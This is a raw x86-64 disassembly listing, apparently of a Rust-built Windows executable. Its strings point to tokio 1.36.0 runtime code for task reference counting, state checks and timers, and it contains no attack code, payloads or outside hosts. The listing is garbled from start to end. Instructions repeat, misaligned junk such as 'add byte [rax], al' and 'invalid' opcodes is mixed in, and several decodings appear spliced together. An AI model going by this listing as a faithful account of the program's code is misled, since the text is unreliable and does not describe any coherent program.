mov rcx, rdi
call fcn.140067cd0
mov qword [rsi + 0x30], 4
add byte [rbx + 0x10bbf005], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rbx + 0x10bbf005], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140093799
cmp eax, 1
je 0x140093767
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x1400937a0
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
push rdi
invalid
push rdi
test byte [rax - 0x77], 0xf9
mov rcx, rdi
call fcn.140067cd0
mov qword [rsi + 0x30], 3
mov qword [rsi + 0x38], 1
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14009382f
cmp eax, 1
je 0x140093815
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
int1
mov edx, 0x48650010
mov ecx, dword [0x58]
int1
mov edx, 0x48650010
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
invalid
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x14007ebe0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
add eax, 0xcc0008ee
add eax, 0xcc0008ee
int3
int3
sub dword [rsp + 0x90], esi
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x140093899
mov rcx, rax
and rcx, 0xfffffffffffffff8
inc rcx
ror dword [rcx + 0x5eac0c2], 0x80
loop case.0x140057c9f.261
ror dword [rcx + 0x5eac0c2], 0x80
loop case.0x140057c9f.261
add eax, 0xf001e280
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
je 0x1400938c4
test al, 4
je 0x140093f17
test al, 3
je 0x140093880
cmp rax, 0x3f
jbe 0x140093f2f
invalid
add byte [rax - 0x73], cl
ror byte [rax - 0x7d], 0xf9
cmp rcx, 0x40
setb dl
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x140093899
invalid
invalid
movzx eax, dl
lea rcx, [0x1401945bc]
or eax, 0x100cee
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
loopne 0x140093920
lea rax, [0x14016a168]
lea eax, [0x14016a168]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rsi
and al, 0x88
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
and al, 0x88
add byte [rax], al
invalid
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0
and al, 0x70
add byte [rax], al
add byte [rax], al
invalid
and al, 0x70
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx - 0x1f7cc7ba], cl
mov eax, dword [rsi + 0x38]
and eax, 0xfffffffe
mov eax, dword [rsi + 0x38]
and eax, 0xfffffffe
cmp eax, 0x3b9aca00
cmp ecx, dword [rdi]
test byte [rbp + 6], bl
add byte [rax], al
cmp ecx, dword [rdi]
test byte [rbp + 6], bl
add byte [rax], al
lea rdi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
call 0x1a50949de
mov rcx, qword [0x58]
pop rax
add byte [rax], al
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140093af4
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x140093978
mov eax, dword [0x14019f30c]
add eax, 0x10b9bc
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
mov esi, dword [rcx + rax*8]
or al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
mov esi, dword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
mov esi, dword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
add byte [rax - 0x73], cl
adc eax, 0x6d605
invalid
lea rdx, [0x140100f70]
add al, ch
mov al, 0x96
add eax, 0x86c64100
sub byte [rcx], al
add byte [rax], al
add dword [rbx + 0x10b98e05], ecx
mov ecx, 0x48650010
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov ecx, 0x48650010
mov rcx, qword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x140093af7
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
sub byte [rcx], al
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x140093a2c
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je 0x1400939fe
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
add byte [rax - 0x73], cl
adc eax, 0x6d57e
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add dword [rbx + 0x10b90805], ecx
or byte [rcx + 0x48650010], bh
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
or byte [rcx + 0x48650010], bh
mov ecx, dword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
jmp 0x140093a2f
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca01
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140093ac5
cmp eax, 1
je 0x140093a93
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov ebx, dword [rcx + rax*8]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov ebx, dword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
ror dword [rax - 0x73], 0x8b
lea rcx, [rbx + 0xd8]
fadd dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
adc eax, 0x6d4e9
invalid
lea rdx, [0x140100f70]
add al, ch
xchg esp, eax
xchg ebp, eax
add eax, 0x2883c600
mov byte [rbx + 0x128], 1
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov eax, 0x48650010
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x140093acc
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca00
cmp byte [rax], al
retf 0x3b9a
mov qword [rsi + 0x40], 1
mov dword [rsi + 0x40], 1
cmp byte [rax], al
retf 0x3b9a
mov dword [rsi + 0x40], 1
mov qword [rsi + 0x48], 0
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x58], rbx
jmp 0x140093dff
xorps xmm6, xmm6
test byte [rax - 0x73], 0x5c
and al, 0x60
lea rbx, [rsp + 0x60]
mov rcx, rdi
mov rdx, rbx
call fcn.140094620
mov ecx, dword [0x14019f30c]
mov bh, 0x10
add byte [rbp + 0x48], ah
mov rdx, qword [0x58]
mov bh, 0x10
add byte [rbp + 0x48], ah
mov rdx, qword [0x58]
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
mov dword [rax], ebp
add dword [rax], eax
invalid
cmp ecx, 2
mov dword [rax], ebp
add dword [rax], eax
add byte [rbx + 0x537402f9], al
je 0x140093b79
je 0x140093b79
cmp ecx, 1
je 0x140093b5d
mov ebp, eax
mov eax, dword [0x14019f30c]
add eax, 0x10b7d9
add eax, 0x10b7d9
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
mov r14, qword [rcx + rax*8]
xor al, 0xc1
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov byte [rsi + 0x128], 1
add byte [rcx - 0x3a], al
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
mov byte [rsi + 0x128], 1
mov eax, ebp
call 0xf7b248ec
adc byte [rax], al
invalid
mov ecx, dword [0x14019f30c]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax], al
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rdx + rcx*8]
retf 0x110f
movups xmmword [rcx + 0xf8], xmm6
mov cl, 1
test al, al
je 0x140093ce3
test byte [rdx + 1], ah
add byte [rax], al
test byte [rdx + 1], ah
add byte [rax], al
lea r14, [rsi + 0x20]
mov rax, qword [rsi]
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
nop dword [rax]
test al, 1
je 0x140093f47
test al, 0x20
jne 0x140093bd0
fisubr word [rax + 0x48497504]
cmp eax, 0x3f
jbe 0x140093f2f
add byte [rax], al
invalid
add rdx, 0xffffffffffffffc0
add edx, 0xffffffc0
cmp rdx, 0x40
setb r8b
setb r8b
add r8b, r8b
jmp 0x140093c00
add byte [rax], al
mov r8b, 3
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
xor byte [rcx], al
xor byte [rcx], al
je 0x140093c16
jmp 0x140093c26
nop word cs:[rax + rax]
test rax, rax
js 0x140093f5f
add byte [rax - 0x7b], cl
ror byte [rdi], 0x88
add ax, word [rax]
add byte [rax - 0x7d], cl
ret 0x4140
add rdx, 0x40
mov r8b, 1
invalid
add dword [rax - 0x39], ecx
and al, 0x30
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x30], 1
mov r9, rbx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
jne 0x140093c26
mov rdx, qword [rsp + 0x60]
lock cmpxchg qword [rsi], rdx
invalid
jne 0x140093b90
invalid
movzx eax, r8b
lea rcx, [0x1401945cc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsi + 0x20]
add rax, 0x10
mov byte [rsp + 0x60], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x60]
lea eax, [rsp + 0x60]
lea eax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
and al, 0x40
lea rcx, [rsp + 0x30]
call fcn.1401034c0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
jbe 0x140093faf
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140093c38.0
mov rax, qword [r14]
lock dec qword [rax]
jne 0x140093c9a
mov rcx, r14
call fcn.1400caa30
mov rcx, rdi
jmp 0x140093cb6
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140093cb2
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.1400677d0
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x140093ccb
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
invalid
mov ch, 0x10
add byte [rcx], dh
sar bh, cl
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x140093c38.0
cmp cl, 2
je 0x140093d50
mov rbx, qword [rsi + 0x28]
movzx eax, cl
cmp eax, 1
je 0x140093d22
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
jmp 0x140093d53
xorps xmm6, xmm6
test byte [rax - 0x77], 0xf9
mov rcx, rdi
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca01
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
cmp bh, ch
inc edi
cmp byte [rcx], r8b
retf 0x3b9a
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140093de5
cmp eax, 1
je 0x140093db3
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov dword [rax + 0xf8], 1
mov dword [rax + 0xf8], 1
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rcx
jmp 0x140093de8
add bl, ch
add ecx, dword [rdi]
push rdi
test byte [rax - 0x77], 0xf9
xorps xmm6, xmm6
mov rcx, rdi
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca00
cmp byte [rax], al
retf 0x3b9a
mov qword [rsi + 0x40], 0
mov dword [rsi + 0x40], 0
cmp byte [rax], al
retf 0x3b9a
mov dword [rsi + 0x40], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140093e6a
cmp eax, 1
je 0x140093e50
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
invalid
add al, ch
xlatb
xchg ecx, eax
add eax, 0x2887c600
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
call 0x140080680
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x140167e50]
mov edx, 0x24
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x140080680
movzx eax, byte [r15 + 0x40]
test al, al
jne 0x140094f5e
mov rax, qword [rdi]
mov rcx, qword [rdi + 8]
call qword [rax]
mov rsi, rax
mov r14, rdx
mov al, 1
xchg byte [r15 + 0x20], al
test al, al
jne 0x140094f58
mov qword [r8 + 0x10], rax
mov dword [r8 + 0x18], esi
mov byte [r8 + 0x68], 0
mov rcx, qword [r8 + 8]
cmp byte [r8], 0
mov rdi, r8
mov r8d, 0xb8
mov edx, 0x118
cmovne r8, rdx
mov edx, dword [rcx + r8 + 0xa8]
cmp edx, 0x3b9aca00
je 0x140094ff9
mov rcx, qword [rcx + r8 + 0xa0]
mov r8, rax
mov r9d, esi
call fcn.14010f990
mov rcx, rax
mov rax, qword [rdi + 0x40]
cmp rcx, 0xfffffffffffffffd
mov rdx, rcx
mov r8, 0xfffffffffffffffd
cmovae rdx, r8
nop word cs:[rax + rax]
cmp rax, rdx
ja 0x14009488d
lock cmpxchg qword [rdi + 0x40], rcx
jne 0x140094880
lea rax, [rbx + 1]
cmp rax, 2
jb 0x140094faf
mov rax, qword [rbx]
nop
test rax, rax
je 0x140094fad
js 0x140094fdc
lea rcx, [rax + 1]
lock cmpxchg qword [rbx], rcx
jne 0x1400948a0
mov qword [rsp + 0x50], rbx
xor eax, eax
mov cl, 1
lock cmpxchg byte [rbx + 0x10], cl
jne 0x140094f12
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140094f2d
xor eax, eax
movzx ecx, byte [rbx + 0x11]
test cl, cl
jne 0x140094f72
mov dword [rsp + 0x60], eax
mov qword [rsp + 0xb0], r13
mov qword [rsp + 0xb8], r12
mov qword [rsp + 0xc0], r15
mov eax, dword [rbx + 0xd0]
mov dword [rsp + 0x34], eax
cmp eax, 0x3b9aca00
je 0x140095011
mov rax, qword [rbx + 0xc8]
mov qword [rsp + 0x98], rax
call fcn.1400f8930
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], edx
mov r14, qword [rbx + 0x70]
test r14, r14
je 0x140094ce0
mov r13, qword [rbx + 0x58]
lea r12, [r13 + 0x10]
movdqa xmm0, xmmword [r13]
pmovmskb eax, xmm0
not eax
mov qword [rsp + 0x58], rbx
and al, 0x58
and al, 0x58
jmp 0x140094986
mov rcx, qword [rsp + 0xd8]
lea eax, [rcx - 1]
and eax, ecx
dec r14
je 0x140094ce0
test ax, ax
jne 0x1400949ae
nop dword [rax + rax]
movdqa xmm0, xmmword [r12]
pmovmskb eax, xmm0
add r13, 0xfffffffffffffb80
add r12, 0x10
cmp eax, 0xffff
je 0x140094990
not eax
mov qword [rsp + 0xd8], rax
tzcnt eax, eax
neg rax
lea rax, [rax + rax*8]
lea rbp, [rax*8]
add rbp, r13
mov r15, qword [r13 + rax*8 - 8]
test r15, r15
je 0x140094bce
mov qword [rsp + 0xd0], r14
mov r14, qword [rbp - 0x10]
invalid
lea rsi, [r14 + 0x48]
lea rbx, [r15 - 1]
xor edi, edi
jmp 0x140094a20
invalid
cmp cl, 1
je 0x140094ab0
inc rdi
add r14, 0x48
add rsi, 0x48
dec rbx
cmp r15, rdi
je 0x140094bb1
mov rax, qword [r14 + 0x28]
movzx eax, byte [rax + 0x10]
test al, al
jne 0x140094ab0
adc byte [rbp + 0x12], dh
cmp rax, 3
jne 0x140094a56
jmp 0x140094ab0
add byte [rax - 0x7d], cl
clc
add dword [rbp + 0x5a], esi
mov rdx, qword [r14 + 0x38]
mov r8d, dword [r14 + 0x40]
lea rcx, [rsp + 0x68]
call case.0x1400ba3d7.487
cmp edx, 0x3b9aca00
jne 0x140094a72
xor eax, eax
xor ecx, ecx
cmp rax, qword [rsp + 0x98]
setne cl
mov eax, 0xff
cmovb ecx, eax
test cl, cl
jne 0x140094a00
xor eax, eax
cmp edx, 0x3b9aca00
je 0x140094a9b
mov eax, edx
cmp eax, dword [rsp + 0x34]
setne cl
jae 0x140094a00
jmp 0x140094a09
inc rdi
mov rcx, r14
call fcn.1400837b0
mov r14d, 1
cmp rdi, r15
jne 0x140094ae8
jmp 0x140094bb4
inc r14
mov rcx, rsi
call fcn.1400837b0
add rsi, 0x48
dec rbx
je 0x140094bb4
mov rax, qword [rsi + 0x28]
movzx eax, byte [rax + 0x10]
test al, al
jne 0x140094ad0
cmp byte [rsi + 0x10], 2
mov rax, qword [rsi]
mov rax, qword [rax + 0x10]
jne 0x140094b09
cmp rax, 3
je 0x140094ad0
jmp 0x140094b0f
cmp rax, 1
jne 0x140094ad0
mov rdx, qword [rsi + 0x38]
mov r8d, dword [rsi + 0x40]
lea rcx, [rsp + 0x68]
call case.0x1400ba3d7.487
cmp edx, 0x3b9aca00
jne 0x140094b2b
xor eax, eax
xor ecx, ecx
cmp rax, qword [rsp + 0x98]
setne cl
mov eax, 0xff
cmovb ecx, eax
test cl, cl
jne 0x140094b59
xor eax, eax
cmp edx, 0x3b9aca00
je 0x140094b50
mov eax, edx
cmp eax, dword [rsp + 0x34]
setne cl
jb 0x140094b62
cmp cl, 1
je 0x140094ad0
lea rax, [r14*8]
lea rax, [rax + rax*8]
mov rcx, rsi
sub rcx, rax
mov rdx, qword [rsi + 0x40]
neg rax
mov qword [rsi + rax + 0x40], rdx
movdqu xmm0, xmmword [rsi]
movdqu xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movups xmm3, xmmword [rsi + 0x30]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
add rsi, 0x48
dec rbx
jne 0x140094ae8
jmp 0x140094bb4
xor r14d, r14d
sub r15, r14
mov qword [rbp - 8], r15
mov rbx, qword [rsp + 0x58]
mov r14, qword [rsp + 0xd0]
jne 0x140094970
mov rax, qword [rbx + 0x58]
mov rcx, rax
sub rcx, rbp
sar rcx, 3
movabs rdx, 0x8e38e38e38e38e39
imul rcx, rdx
lea rdx, [rcx - 0x10]
and rdx, qword [rbx + 0x60]
movdqu xmm0, xmmword [rax + rdx]
pcmpeqb xmm0, xmm6
pmovmskb r8d, xmm0
test r8d, r8d
je 0x140094c10
bsr r8w, r8w
xor r8d, 0xf
jmp 0x140094c15
mov r8w, 0x10
movdqu xmm0, xmmword [rax + rcx]
pcmpeqb xmm0, xmm6
pmovmskb r9d, xmm0
or r9d, 0x10000
tzcnt r9d, r9d
add r8d, r9d
mov r9b, 0x80
cmp r8w, 0xf
ja 0x140094c43
sbb byte [rax - 0x75], r9b
invalid
invalid
call 0xf48d5bb9
cld
invalid
nop dword [rax + rax]
cmp byte [rsp + 0x60], 0
jne 0x140094cfa
mov rax, qword [0x14019f300]
mov eax, dword [0x14019f300]
shl rax, 1
test rax, rax
ror byte [rdi], 0x85
add al, byte [rax]
invalid
ror byte [rdi], 0x85
add al, byte [rax]
add byte [rcx], dh
ror byte [rbx + rcx*4 - 0x5c], 0x24
mov eax, 0x41000000
add byte [rcx - 0x7a], al
add al, 0x24
xor eax, eax
mov r12, qword [rsp + 0xb8]
add byte [rcx - 0x7a], al
add al, 0x24
add byte [rcx - 0x7a], al
add al, 0x24
cmp al, 2
mov r15, qword [rsp + 0xc0]
mov r13, qword [rsp + 0xb0]
add byte [rax], al
add byte [rax], al
mov rdi, qword [rsp + 0xc8]
mov edi, dword [rsp + 0xc8]
jne case.0x14005714b.261
sbb al, 0x4c
mov ecx, esp
mov rcx, r12
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rax, qword [rsp + 0x50]
and al, 0x50
and al, 0x50
lock dec qword [rax]
dec qword [rax]
jne 0x14009469b
pop rdi
stc
invalid
jmp 0x140094d4f
mov rax, qword [rsp + 0x50]
lock dec qword [rax]
jne 0x14009469b
lea rcx, [rsp + 0x50]
push rax
call fcn.1400cb9d0
jmp 0x14009469b
add cl, ch
cmp eax, 0x48fffff9
mov dword [rsp + 0x58], ebx
pop rsp
and al, 0x58
pop rsp
and al, 0x58
mov rbx, rax
add rbx, qword [rsp + 0x40]
jb 0x140094fe1
invalid
add byte [rax - 0x75], cl
mov rcx, qword [rsp + 0x38]
and al, 0x38
cmp byte [rbp - 0x7eeec4], cl
add dl, cl
invalid
lea edi, [rcx + rdx]
cmp edi, 0x3b9aca00
jb 0x140094dbd
invalid
cmp al, 0x48
cmp ebx, 0xffffffff
cmp rbx, 0xffffffffffffffff
je 0x140094fe1
add edi, 0xc4653600
inc rbx
cmp edi, 0x3b9aca00
invalid
cmp esi, dword [rdx + 0x21]
invalid
invalid
invalid
and dword [rcx + 0x9e9c1f9], ecx
mov ecx, edi
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rbx, rcx
jb 0x140095076
invalid
rol dword [rdx], 0
add byte [rax], al
invalid
add byte [rax], al
imul ecx, ecx, 0x3b9aca00
sub edi, ecx
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], edx
and al, 0x70
and al, 0x70
lea rcx, [rsp + 0x68]
mov rdx, r14
mov r8d, esi
call case.0x1400ba3d7.487
mov ecx, edx
mov r9, qword [rsp + 0xa0]
mov rdx, r9
add byte [rcx + rcx*4 - 0x36], cl
mov r8, qword [rsp + 0xa8]
or rdx, r8
je 0x14009506a
jbe 0x140094df4
add byte [rax], al
jbe 0x140094df4
add byte [rax], al
mov edx, 0x3b9aca00
mul rdx
cmp ecx, 0x3b9aca00
mov r10d, 0
add byte [rax], al
add byte [rax], al
cmove ecx, r10d
cmove rdx, r10
cmove rax, r10
add rcx, rax
adc rdx, 0
mov qword [rsp + 0xe0], r9
mov dword [rsp + 0xe0], ecx
mov dword [rsp + 0xe0], ecx
loopne 0x140094e21
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0xe8
call 0x188094e2c
invalid
mov word [rax + rsi*8], fs
lock add byte [rax], al
mov qword [rsp + 0xe8], r8
mov qword [rsp + 0xf0], rcx
lock add byte [rax], al
invalid
call 0x188094e2c
mov dword [rsp + 0xf0], ecx
lock add byte [rax], al
invalid
lock add byte [rax], al
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xf8
add byte [rax], al
mov qword [rsp + 0xf8], rdx
lea rcx, [rsp + 0xf0]
mov word [rax + rsi*8], fs
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xe0
add byte [rax], al
add al, ch
ror byte [rsi + 0xf660008], 1
jo case.0x14006b64f.206
out dx, al
add byte [rax - 0x73], cl
mov word [rax + rsi*8], fs
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xe0
add byte [rax], al
add al, ch
ror byte [rsi + 0xf660008], 1
add byte [rsi + 0xf], ah
jo case.0x14006b64f.206
out dx, al
movq rax, xmm1
